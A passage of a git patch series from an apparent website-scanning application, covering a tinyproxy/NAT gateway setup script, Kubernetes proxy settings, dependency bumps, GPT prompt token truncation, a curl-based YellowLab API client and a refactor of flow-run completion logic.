+RUN npm install -g lighthouse@12.5.0 lighthouse-plugin-crux
 
 # installing lodash & yellowlabtools
 RUN npm install -g lodash yellowlabtools

From 5aa44b72ef9ec7d58f3bd44af93bdfa4e202b217 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 29 Apr 2025 13:22:11 -0600
Subject: [PATCH 0917/1099] update: added proxy for IP forwarding using NAT
 gateway

---
 k8s/prod/celery-deployment.yaml |  8 +++-
 setup/scripts/nat.sh            | 68 +++++++++++++++++++++++++++++++++
 2 files changed, 75 insertions(+), 1 deletion(-)
 create mode 100644 setup/scripts/nat.sh

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index fa408e1b..f3c2cbec 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursiondev/server:6799236 #
+          image: <IMAGE> # cursiondev/server:250d545 # 
           imagePullPolicy: IfNotPresent
           command: ["/entrypoint.sh", "celery"]
           envFrom:
@@ -35,6 +35,12 @@ spec:
               valueFrom:
                 fieldRef:
                   fieldPath: metadata.name
+            - name: HTTP_PROXY
+              value: "http://10.124.0.27:8888"
+            - name: HTTPS_PROXY
+              value: "http://10.124.0.27:8888"
+            - name: NO_PROXY
+              value: "10.0.0.0/8,localhost,127.0.0.1"
           # resources:  # -> large node pool (4vcpu & 8Gi)
           #   limits:
           #     cpu: "2"
diff --git a/setup/scripts/nat.sh b/setup/scripts/nat.sh
new file mode 100644
index 00000000..4a1e358c
--- /dev/null
+++ b/setup/scripts/nat.sh
@@ -0,0 +1,68 @@
+#!/bin/bash
+
+set -e
+
+# ====== Configuration ======
+VPC_CIDR="10.124.0.0/20"   # <-- Your VPC CIDR block
+LISTEN_PORT="8888"         # <-- Tinyproxy listen port
+# ============================
+
+echo "[1/6] Updating system..."
+apt update -y
+apt install -y tinyproxy iptables-persistent curl
+
+echo "[2/6] Configuring tinyproxy..."
+
+# Backup original config
+cp /etc/tinyproxy/tinyproxy.conf /etc/tinyproxy/tinyproxy.conf.bak
+
+# Update tinyproxy.conf
+cat <<EOF > /etc/tinyproxy/tinyproxy.conf
+User nobody
+Group nogroup
+Port $LISTEN_PORT
+Listen 0.0.0.0
+Timeout 600
+DefaultErrorFile "/usr/share/tinyproxy/default.html"
+StatHost "tinyproxy.stats"
+LogFile "/var/log/tinyproxy/tinyproxy.log"
+LogLevel Info
+MaxClients 100
+MinSpareServers 5
+MaxSpareServers 20
+StartServers 10
+MaxRequestsPerChild 0
+ViaProxyName "tinyproxy"
+
+Allow $VPC_CIDR
+
+ConnectPort 443
+ConnectPort 563
+EOF
+
+echo "[3/6] Restarting tinyproxy..."
+systemctl restart tinyproxy
+systemctl enable tinyproxy
+
+echo "[4/6] Setting up IP forwarding..."
+
+# Enable IP forwarding
+sysctl -w net.ipv4.ip_forward=1
+echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
+
+echo "[5/6] Configuring iptables (NAT fallback)..."
+# Flush existing rules & add new redirects
+iptables -t nat -F
+iptables -A FORWARD -i eth0 -j ACCEPT
+iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
+
+# Save iptables rules
+netfilter-persistent save
+netfilter-persistent reload
+
+echo "[6/6] Done!"
+
+echo ""
+echo "Tinyproxy running on port $LISTEN_PORT"
+echo "Allowed VPC Range: $VPC_CIDR"
+echo ""

From b40fb4670e68b694274d7b8c484878f9bbc2a773 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 29 Apr 2025 13:22:39 -0600
Subject: [PATCH 0918/1099] update: removed kubip from prod

---
 k8s/prod/kubeip-daemon.yaml  | 35 -----------------------------------
 k8s/prod/kubeip-service.yaml | 32 --------------------------------
 2 files changed, 67 deletions(-)
 delete mode 100644 k8s/prod/kubeip-daemon.yaml
 delete mode 100644 k8s/prod/kubeip-service.yaml

diff --git a/k8s/prod/kubeip-daemon.yaml b/k8s/prod/kubeip-daemon.yaml
deleted file mode 100644
index c978f8b6..00000000
--- a/k8s/prod/kubeip-daemon.yaml
+++ /dev/null
@@ -1,35 +0,0 @@
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: kubeip
-spec:
-  selector:
-    matchLabels:
-      app: kubeip
-  template:
-    metadata:
-      labels:
-        app: kubeip
-    spec:
-      serviceAccountName: kubeip-service-account
-      terminationGracePeriodSeconds: 30
-      priorityClassName: system-node-critical
-      nodeSelector:
-        kubeip.com/public: "true"
-      containers:
-        - name: kubeip
-          image: doitintl/kubeip-agent
-          resources:
-            requests:
-              cpu: 100m
-          env:
-            - name: NODE_NAME
-              valueFrom:
-                fieldRef:
-                  fieldPath: spec.nodeName
-            # - name: FILTER
-            #   value: PUT_PLATFORM_SPECIFIC_FILTER_HERE
-            - name: LOG_LEVEL
-              value: debug
-            - name: LOG_JSON
-              value: "true"
\ No newline at end of file
diff --git a/k8s/prod/kubeip-service.yaml b/k8s/prod/kubeip-service.yaml
deleted file mode 100644
index 590b9312..00000000
--- a/k8s/prod/kubeip-service.yaml
+++ /dev/null
@@ -1,32 +0,0 @@
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: kubeip-service-account
-  namespace: kube-system
----
-
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: kubeip-cluster-role
-rules:
-  - apiGroups: [ "" ]
-    resources: [ "nodes" ]
-    verbs: [ "get" ]
-  - apiGroups: [ "coordination.k8s.io" ]
-    resources: [ "leases" ]
-    verbs: [ "create", "get", "delete" ]
-
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: kubeip-cluster-role-binding
-subjects:
-  - kind: ServiceAccount
-    name: kubeip-service-account
-    namespace: kube-system
-roleRef:
-  kind: ClusterRole
-  name: kubeip-cluster-role
-  apiGroup: rbac.authorization.k8s.io
\ No newline at end of file

From 8a6fe0ae5e3dcb01a05ce6c1bd24e5bf299e2b51 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 29 Apr 2025 14:07:16 -0600
Subject: [PATCH 0919/1099] update: added deployment specific notes

---
 k8s/prod/celery-deployment.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index f3c2cbec..cd95769d 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -35,6 +35,7 @@ spec:
               valueFrom:
                 fieldRef:
                   fieldPath: metadata.name
+            # remove below if not using NAT gateway
             - name: HTTP_PROXY
               value: "http://10.124.0.27:8888"
             - name: HTTPS_PROXY

From 5c507a9dc7fe068cb4cf782681ccae0b229fd383 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 1 May 2025 10:25:45 -0600
Subject: [PATCH 0920/1099] fix: self.device_type returns correct data

---
 app/api/utils/lighthouse.py | 4 ++--
 app/api/utils/yellowlab.py  | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index c34cc458..5eaa5d1f 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -27,7 +27,7 @@ def __init__(self, scan=None):
         self.device_type = get_device(
             scan.configs['browser'], 
             scan.configs['device']
-        )
+        )['type']
 
         # initial scores object
         self.scores = {
@@ -114,7 +114,7 @@ def lighthouse_api(self) -> dict:
         }
         params = {
             "url": self.page.page_url,
-            "strategy": self.configs["device"],
+            "strategy": self.device_type,
             "key": settings.GOOGLE_CRUX_KEY
         }
 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 67707a11..989a6dd1 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -26,7 +26,7 @@ def __init__(self, scan=None):
         self.device_type = get_device(
             scan.configs['browser'], 
             scan.configs['device']
-        )
+        )['type']
 
         # initial audits object
         self.audits = {

From bd06b024a316c5fa9613462470f2c48187dd5db1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 1 May 2025 10:26:31 -0600
Subject: [PATCH 0921/1099] fix: bumped lighthouse to 12.6.0 for WPv6.8 issue

---
 Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 079b4de0..930d5db1 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -36,7 +36,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
     libpq-dev \
     curl \
     libsm6 \
-    libxrender1 \ 
+    libxrender1 \
     libxext6 \
     libgl1 \
     nasm \
@@ -73,7 +73,7 @@ RUN curl -fsSL https://deb.nodesource.com/setup_current.x | bash - && \
     n lts
 
 # installing lighthouse & lighthouse-plugin-crux
-RUN npm install -g lighthouse@12.5.0 lighthouse-plugin-crux
+RUN npm install -g lighthouse@12.6.0 lighthouse-plugin-crux
 
 # installing lodash & yellowlabtools
 RUN npm install -g lodash yellowlabtools

From 4b9760059384a90468919c05671b0ff75d6a1821 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 1 May 2025 10:48:51 -0600
Subject: [PATCH 0922/1099] fix: added truncater for large data handeling in
 `Issuer`

---
 app/api/utils/issuer.py             | 34 +++++++++++++++++++----------
 setup/requirements/requirements.txt |  1 +
 2 files changed, 23 insertions(+), 12 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index c1b6e350..d5d570a0 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -3,7 +3,8 @@
 from openai import OpenAI
 from .meter import meter_account
 import time, os, json, uuid, \
-    random, boto3, re, requests
+    random, boto3, re, requests, \
+    tiktoken
 
 
 
@@ -46,14 +47,16 @@ def __init__(
         self.threshold  = test.threshold if test else threshold
 
         # top level vars
-        self.title     = None
-        self.details   = None
-        self.data      = None
-        self.labels    = None
-        self.account   = None
-        self.trigger   = { 'type': None, 'id': None }
-        self.affected  = { 'type': None, 'id': None, 'str': None}
-        self.max_len   = 200
+        self.title      = None
+        self.details    = None
+        self.data       = None
+        self.labels     = None
+        self.account    = None
+        self.trigger    = { 'type': None, 'id': None }
+        self.affected   = { 'type': None, 'id': None, 'str': None}
+        self.max_len    = 200
+        self.max_tokens = 3000
+        self.gpt_model  = "gpt-4o-mini"
         
         # init GPT client
         self.gpt_client = OpenAI(
@@ -506,13 +509,20 @@ def build_recommendation(self) -> str:
         # initializing
         recommendation = ''
 
+        # truncate self.data
+        encoding = tiktoken.encoding_for_model(self.gpt_model)
+        tokens = encoding.encode(self.data)
+        if len(tokens) > self.max_tokens:
+            tokens = tokens[:self.max_tokens]
+        self.data = encoding.decode(tokens)
+
         # building recommendation
         # for self.scan
         if self.scan:
             
             # send the initial request
             recommendation = self.gpt_client.chat.completions.create(
-                model="gpt-4o-mini", # old model -> gpt-3.5-turbo
+                model=self.gpt_model, # old model -> gpt-3.5-turbo
                 messages=[
                     {
                         "role": "user", 
@@ -541,7 +551,7 @@ def build_recommendation(self) -> str:
             
             # send the initial request
             recommendation = self.gpt_client.chat.completions.create(
-                model="gpt-4o-mini",
+                model=self.gpt_model,
                 messages=[
                     {
                         "role": "user",
@@ -572,7 +582,7 @@ def build_recommendation(self) -> str:
 
             # send the initial request
             recommendation = self.gpt_client.chat.completions.create(
-                model="gpt-4o-mini",
+                model=self.gpt_model,
                 messages=[
                     {
                         "role": "user", 
diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 57156b1d..75043616 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -47,6 +47,7 @@ six==1.16.0
 slack-sdk==3.11.2
 sqlparse==0.4.1
 stripe==11.4.1
+tiktoken==0.9.0
 tornado==6.1
 twilio==7.3.0
 urllib3==1.26.5

From f3b3f0cdac9b1459429a44dd7bb98a9459ba0206 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 1 May 2025 10:51:06 -0600
Subject: [PATCH 0923/1099] update: increased max_tokens for `Issuer`

---
 app/api/utils/issuer.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index d5d570a0..da852a74 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -55,7 +55,7 @@ def __init__(
         self.trigger    = { 'type': None, 'id': None }
         self.affected   = { 'type': None, 'id': None, 'str': None}
         self.max_len    = 200
-        self.max_tokens = 3000
+        self.max_tokens = 5000
         self.gpt_model  = "gpt-4o-mini"
         
         # init GPT client

From 7a784cf019e65cd9d7d84a87f8a0061496d5ad56 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 1 May 2025 11:32:43 -0600
Subject: [PATCH 0924/1099] test: ytl k8s networking

---
 app/api/utils/yellowlab.py      | 4 +++-
 k8s/prod/celery-deployment.yaml | 2 +-
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 989a6dd1..63d42ec0 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -111,6 +111,8 @@ def yellowlab_api(self) -> dict:
             headers=headers
         ).json()
 
+        print(res) # -> temp  test
+
         # retrieve runId & pod_ip if present
         run_id = res['runId']
         pod_ip = res.get('pod_ip')
@@ -238,7 +240,7 @@ def get_data(self):
             try:
                 # CLI on first attempt
                 if attempts < 1:
-                    raw_data = self.yellowlab_cli()
+                    raw_data = self.yellowlab_api() # -> temp test
                     self.process_data(stdout_json=raw_data)
                 
                 # API after first attempt
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index cd95769d..59b4eab4 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -41,7 +41,7 @@ spec:
             - name: HTTPS_PROXY
               value: "http://10.124.0.27:8888"
             - name: NO_PROXY
-              value: "10.0.0.0/8,localhost,127.0.0.1"
+              value: "localhost,127.0.0.1,.svc.cluster.local,10.0.0.0/8"
           # resources:  # -> large node pool (4vcpu & 8Gi)
           #   limits:
           #     cpu: "2"

From d0743e55ecc6f26827cf20878de62a0149d59780 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 1 May 2025 11:44:53 -0600
Subject: [PATCH 0925/1099] fix: bumped requests version to 2.26.0

---
 setup/requirements/requirements.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 75043616..9490162a 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -37,7 +37,7 @@ pydantic==2.10.6
 pyjwt==2.1.0
 pytz==2021.1
 redis==3.5.3
-requests==2.25.1
+requests==2.26.0
 reportlab==4.2.0
 scikit-image==0.23.2
 scipy==1.13.0

From 91866fb224ef382c366a19146b253153f5149d2f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 1 May 2025 11:58:23 -0600
Subject: [PATCH 0926/1099] test: YL networking test on k8s

---
 app/api/utils/yellowlab.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 63d42ec0..2efa01b4 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -104,6 +104,8 @@ def yellowlab_api(self) -> dict:
             "device": self.device_type
         }
 
+        print(data) # -> temp  test
+
         # setting up initial request
         res = requests.post(
             url=f'{settings.YELLOWLAB_ROOT}/api/runs',

From e77718c3e70e22ef3a7c99a3f2e13254c2c5dc72 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 1 May 2025 13:12:38 -0600
Subject: [PATCH 0927/1099] update: new yellowlab_api() method

---
 app/api/utils/yellowlab.py | 80 ++++++++++++++++++++------------------
 1 file changed, 42 insertions(+), 38 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 2efa01b4..e9b0c34d 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -94,68 +94,72 @@ def yellowlab_api(self) -> dict:
         Returns --> raw YL data (Dict)
         """
 
-        # defaults
         headers = {
-            "content-type": "application/json",
+            "Content-Type": "application/json",
+            "Connection": "close"
         }
-        data = {
+        payload = {
             "url": self.page.page_url,
             "waitForResponse": True,
             "device": self.device_type
         }
 
-        print(data) # -> temp  test
+        def curl_post(url, data):
+            cmd = [
+                "curl", "-s", "-X", "POST",
+                "-H", f"Content-Type: {headers['Content-Type']}",
+                "-H", f"Connection: {headers['Connection']}",
+                "--data", json.dumps(data),
+                url
+            ]
+            result = subprocess.run(cmd, check=True, capture_output=True, text=True)
+            return json.loads(result.stdout)
+
+        def curl_get(url):
+            cmd = [
+                "curl", "-s", "-X", "GET",
+                "-H", f"Connection: {headers['Connection']}",
+                url
+            ]
+            result = subprocess.run(cmd, check=True, capture_output=True, text=True)
+            return json.loads(result.stdout)
 
         # setting up initial request
-        res = requests.post(
-            url=f'{settings.YELLOWLAB_ROOT}/api/runs',
-            data=json.dumps(data),
-            headers=headers
-        ).json()
-
-        print(res) # -> temp  test
+        root = settings.YELLOWLAB_ROOT
+        res = curl_post(f"{root}/api/runs", payload)
 
         # retrieve runId & pod_ip if present
-        run_id = res['runId']
-        pod_ip = res.get('pod_ip')
-        NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip != None else settings.YELLOWLAB_ROOT
-        
+        run_id = res["runId"]
+        pod_ip = res.get("pod_ip")
+        new_root = f"http://{pod_ip}:8383" if pod_ip else root
+
         wait_time = 0
         max_wait = 1200
         done = False
-
+         
         # waiting for run to complete
         while not done and wait_time < max_wait:
-
+            
             # sending run request check
-            res = requests.get(
-                url=f'{NEW_ROOT}/api/runs/{run_id}',
-                headers=headers
-            ).json()
+            status_res = curl_get(f"{new_root}/api/runs/{run_id}")
+            status = status_res["run"]["status"]["statusCode"]
+            position = status_res["run"]["status"].get("position")
 
             # checking status
-            status = res['run']['status']['statusCode']
-            position = res['run']['status'].get('position')
-            if status == 'awaiting':
-                max_wait = (120 * position)
-            if status == 'complete':
+            if status == "awaiting" and position:
+                max_wait = max(max_wait, 120 * position)
+            elif status == "complete":
                 done = True
-            if status == 'failed':
-                raise RuntimeError
-                break
+            elif status == "failed":
+                raise RuntimeError("YellowLab run failed")
 
             # incrementing time
             time.sleep(5)
             wait_time += 5
 
-
-        # getting run results
-        res = requests.get(
-            url=f'{NEW_ROOT}/api/results/{run_id}',
-            headers=headers
-        ).json()
-    
-        return res
+        # Step 3: Retrieve results
+        result = curl_get(f"{new_root}/api/results/{run_id}")
+        return result
 
 
 
@@ -242,7 +246,7 @@ def get_data(self):
             try:
                 # CLI on first attempt
                 if attempts < 1:
-                    raw_data = self.yellowlab_api() # -> temp test
+                    raw_data = self.yellowlab_cli()
                     self.process_data(stdout_json=raw_data)
                 
                 # API after first attempt

From c43d8916c70f62f199ea792c06a7ef07c85fec02 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 2 May 2025 10:44:03 -0600
Subject: [PATCH 0928/1099] fix: minor bug fixes for `Issuer`

---
 app/api/utils/issuer.py | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index da852a74..b353e631 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -510,11 +510,12 @@ def build_recommendation(self) -> str:
         recommendation = ''
 
         # truncate self.data
-        encoding = tiktoken.encoding_for_model(self.gpt_model)
-        tokens = encoding.encode(self.data)
-        if len(tokens) > self.max_tokens:
-            tokens = tokens[:self.max_tokens]
-        self.data = encoding.decode(tokens)
+        if self.data:
+            encoding = tiktoken.encoding_for_model(self.gpt_model)
+            tokens = encoding.encode(self.data)
+            if len(tokens) > self.max_tokens:
+                tokens = tokens[:self.max_tokens]
+            self.data = encoding.decode(tokens)
 
         # building recommendation
         # for self.scan

From 08164772db3ae369a8a133f6cf98ca23d42abd6d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 2 May 2025 10:44:54 -0600
Subject: [PATCH 0929/1099] update: `Flowr` now handles user error when
 building and running flows

---
 app/api/utils/flowr.py | 272 ++++++++++++++++++++++-------------------
 1 file changed, 145 insertions(+), 127 deletions(-)

diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index d21924eb..04d0c68d 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -240,7 +240,7 @@ def get_node_by_id(self, id: str=None) -> dict:
 
 
     
-    
+   
     def objects_are_complete(self, object_list: list=[]) -> bool:
         """ 
         Iterates through the object_list of a given node
@@ -382,6 +382,81 @@ def finalize_node(self, index: int=None) -> None:
 
 
 
+    def complete_flowrun(self, current_data: dict=None) -> None:
+        """ 
+        Checks for run completion and updates final 
+        run status.
+
+        Expects: {
+            'current_data': dict
+        }
+
+        Returns: `FlowRun` object
+        """
+        
+        # defaults
+        status  = 'passed'
+        nodes   = self.flowrun.nodes
+        logs    = self.flowrun.logs
+
+        # mark current current node as finalized 
+        # and update status
+        if current_data:
+            index           = current_data['index']
+            current_status  = nodes[int(index)]['data']['status']
+            
+            nodes[int(index)]['data']['finalized'] = True
+            nodes[int(index)]['data']['status'] = 'passed' if current_status == 'working' else current_status
+
+        # check all nodes statuses
+        for node in FlowRun.objects.get(id=self.flowrun_id).nodes:
+            
+            # check for non-current 'working' nodes
+            if node['data']['status'] == 'working':
+                if current_data:
+                    if node['id'] != current_data['node']['id']:
+                        return self.flowrun
+                else:
+                    return self.flowrun
+            
+            # check for any 'failed' nodes
+            if node['data']['status'] == 'failed':
+                status = 'failed'
+            
+        # check for current node failure
+        if current_data:
+            current_status = nodes[int(current_data['index'])]['data']['status']
+            status = current_status if current_status == 'failed' else status
+        
+        # build log data
+        logs.append({
+            'timestamp' : self.build_timestamp(),
+            'step'      : current_data['node']['id'] if current_data else self.get_last_node_id(),
+            'message'   : (
+                f'flowrun completed with status: {"✅ PASSED" if status == "passed" else "❌ FAILED"}'
+            ),
+        })
+        # sort logs
+        logs = sorted(logs, key=lambda l: int(l['step']),)
+
+        # update flowrun
+        self.flowrun.time_completed = self.build_timestamp()
+        self.flowrun.status         = status
+        self.flowrun.logs           = logs
+        self.flowrun.nodes          = nodes
+        self.flowrun.save()
+
+        # run alert if requested
+        alert_id = current_data['node']['data'].get('alert_id') if current_data else None
+        if alert_id:
+            Alerter(alert_id=alert_id, object_id=str(self.flowrun_id)).run_alert()
+
+        # return flowrun
+        return self.flowrun
+
+
+
+
     def run_next(self) -> None:
         """ 
         Checks for the next step and executes 
@@ -421,12 +496,17 @@ def run_next(self) -> None:
             }
             objs = [alert_obj,] if step_data['node']['data']['task_type'] in self.alert_types else []
 
+            # catch empty task_type
+            if not step_data['node']['data']['task_type']:
+                self.complete_flowrun(current_data=step_data)
+                return self.flowrun
+
             # run first step
             print('running first step')
             self.execute_step(step_data=step_data, objects=objs)
             return self.flowrun
 
-        
+
         # catch updates without a current_node 
         if current_data['node'] is None:
             return self.flowrun
@@ -443,11 +523,11 @@ def run_next(self) -> None:
             self.finalize_node(index=current_data['index'])
 
             # set defaults
-            true_outcomes = []
-            false_outcomes = []
-            run_as_cumulative = False
-            false_child_ran = False
-            true_child_ran = False
+            true_outcomes       = []
+            false_outcomes      = []
+            run_as_cumulative   = False
+            false_child_ran     = False
+            true_child_ran      = False
 
             # iterate through the objects and run conditions for each
             for obj_data in current_data['node']['data'].get('objects', []):
@@ -472,15 +552,15 @@ def run_next(self) -> None:
                 # sorting
                 if outcome == True:
                     true_outcomes.append({
-                        'parent': str(parentID),
-                        'id': obj_data['id'],
-                        'status': 'working'
+                        'parent'    : str(parentID),
+                        'id'        : obj_data['id'],
+                        'status'    : 'working'
                     })
                 if outcome == False:
                     false_outcomes.append({
-                        'parent': str(parentID),
-                        'id': obj_data['id'],
-                        'status': 'working'
+                        'parent'    : str(parentID),
+                        'id'        : obj_data['id'],
+                        'status'    : 'working'
                     })
 
             # get child edges
@@ -535,42 +615,17 @@ def run_next(self) -> None:
             if len(children) == 1:
                 if children[0] is not None:
                     next_step = children[0]
-                    print('running next step after "PASSED" non-conditional step')
-                    objs = []
-                    if next_step['node']['data']['task_type'] in self.alert_types:
-                        objs = current_data['node']['data'].get('objects', [])
-                    self.execute_step(step_data=next_step, objects=objs)
-                    return self.flowrun
-
-            # check for other working nodes
-            for node in FlowRun.objects.get(id=self.flowrun_id).nodes:
-                if node['data']['status'] == 'working':
-                    return self.flowrun
-                
-            # if no children and no node is 'working' 
-            # then end flowrun as 'passed' and update logs
-            logs = self.flowrun.logs
-            logs.append({
-                'timestamp':self.build_timestamp(),
-                'message': (
-                    f'flowrun completed with status: ✅ PASSED'
-                ),
-                'step': self.get_last_node_id()
-            })
-            # sort logs
-            logs = sorted(logs, key=lambda l: int(l['step']),)
-
-            # update flowrun
-            self.flowrun.time_completed = self.build_timestamp()
-            self.flowrun.status = 'passed'
-            self.flowrun.logs = logs
-            self.flowrun.save()
-
-            # run alert if requested
-            alert_id = current_data['node']['data'].get('alert_id')
-            if alert_id:
-                Alerter(alert_id=alert_id, object_id=str(self.flowrun_id)).run_alert()
-
+                    if next_step['node']['data']['task_type']:
+                        print('running next step after "PASSED" non-conditional step')
+                        objs = []
+                        if next_step['node']['data']['task_type'] in self.alert_types:
+                            objs = current_data['node']['data'].get('objects', [])
+                        self.execute_step(step_data=next_step, objects=objs)
+                        return self.flowrun
+
+            # if no children, end flowrun and update logs
+            self.complete_flowrun(current_data=current_data)
+            
             # return flowrun
             return self.flowrun
             
@@ -582,36 +637,11 @@ def run_next(self) -> None:
             # finialize node
             self.finalize_node(index=current_data['index'])
 
-            # define failed log
-            failed_log = {
-                'timestamp':self.build_timestamp(),
-                'message': (
-                    f'flowrun completed with status: ❌ FAILED'
-                ),
-                'step': self.get_last_node_id()
-            }
-
             # end flowrun if requested
             if self.flowrun.configs.get('end_on_fail', True):
 
                 print('--- ending run early due to failure ---')
-                
-                # update logs
-                logs = self.flowrun.logs
-                logs.append(failed_log)
-                # sort logs
-                logs = sorted(logs, key=lambda l: (int(l['step'])),)
-
-                # update & end flowrun
-                self.flowrun.time_completed = self.build_timestamp()
-                self.flowrun.status = 'failed'
-                self.flowrun.logs = logs
-                self.flowrun.save()
-
-                # run alert if requested
-                alert_id = current_data['node']['data'].get('alert_id')
-                if alert_id:
-                    Alerter(alert_id=alert_id, object_id=str(self.flowrun_id)).run_alert()
+                self.complete_flowrun(current_data=current_data)
 
                 # return flowrun
                 return self.flowrun
@@ -625,35 +655,17 @@ def run_next(self) -> None:
             if len(children) == 1:
                 if children[0] is not None:
                     next_step = children[0]
-                    print('running next step after "FAILED" non-conditional step')
-                    objs = []
-                    if next_step['node']['data']['task_type'] in self.alert_types:
-                        objs = current_data['node']['data'].get('objects', [])
-                    self.execute_step(step_data=next_step, objects=objs)
-                    return self.flowrun
-
-            # check for other working nodes
-            for node in FlowRun.objects.get(id=self.flowrun_id).nodes:
-                if node['data']['status'] == 'working':
-                    return self.flowrun
-
-            # if no children and no node is 'working' 
-            # then end flowrun as 'failed' and update logs
-            logs = self.flowrun.logs
-            logs.append(failed_log)
-            # sort logs
-            logs = sorted(logs, key=lambda l: int(l['step']),)
-
-            # update & end flowrun
-            self.flowrun.time_completed = self.build_timestamp()
-            self.flowrun.status = 'failed'
-            self.flowrun.logs = logs
-            self.flowrun.save()
-            
-            # run alert if requested
-            alert_id = current_data['node']['data'].get('alert_id')
-            if alert_id:
-                Alerter(alert_id=alert_id, object_id=str(self.flowrun_id)).run_alert()
+                    # check for data in next_step
+                    if next_step['node']['data']['task_type']:
+                        print('running next step after "FAILED" non-conditional step')
+                        objs = []
+                        if next_step['node']['data']['task_type'] in self.alert_types:
+                            objs = current_data['node']['data'].get('objects', [])
+                        self.execute_step(step_data=next_step, objects=objs)
+                        return self.flowrun
+
+            # if no children, end flowrun as 'failed' and update logs
+            self.complete_flowrun(current_data=current_data)
 
             # return flowrun
             return self.flowrun
@@ -677,28 +689,34 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
         """
 
         if step_data is None:
-            print('no step_data provided - returning early')
+            print('no step_data provided - attempting to end run...')
+            self.complete_flowrun(current_data=step_data)
+            return 
+
+        if not step_data['node']['data']['task_type']:
+            print('no task_type provided - attempting to end run...')
+            self.complete_flowrun(current_data=step_data)
             return 
 
         # get step/node data & task_type
-        node_data = step_data['node']['data']
-        task_type = node_data['task_type']
-        node_index = step_data['index']
+        node_data   = step_data['node']['data']
+        task_type   = node_data['task_type']
+        node_index  = step_data['index']
         parent_data = None if node_index == 0 else self.get_node_by_id(node_data['parentId'])
-        message = (
+        message     = (
             f'starting job ID: {node_data["id"]} ' + 
             f'| job type is [ {task_type.upper()} ]'
         )
 
         # update self.flowrun logs, nodes, & edges
-        self.flowrun = FlowRun.objects.get(id=self.flowrun_id)
-        nodes = self.flowrun.nodes
-        edges = self.flowrun.edges
-        logs = self.flowrun.logs
+        self.flowrun    = FlowRun.objects.get(id=self.flowrun_id)
+        nodes           = self.flowrun.nodes
+        edges           = self.flowrun.edges
+        logs            = self.flowrun.logs
 
         # update current node
-        nodes[step_data['index']]['data']['status'] = 'working' 
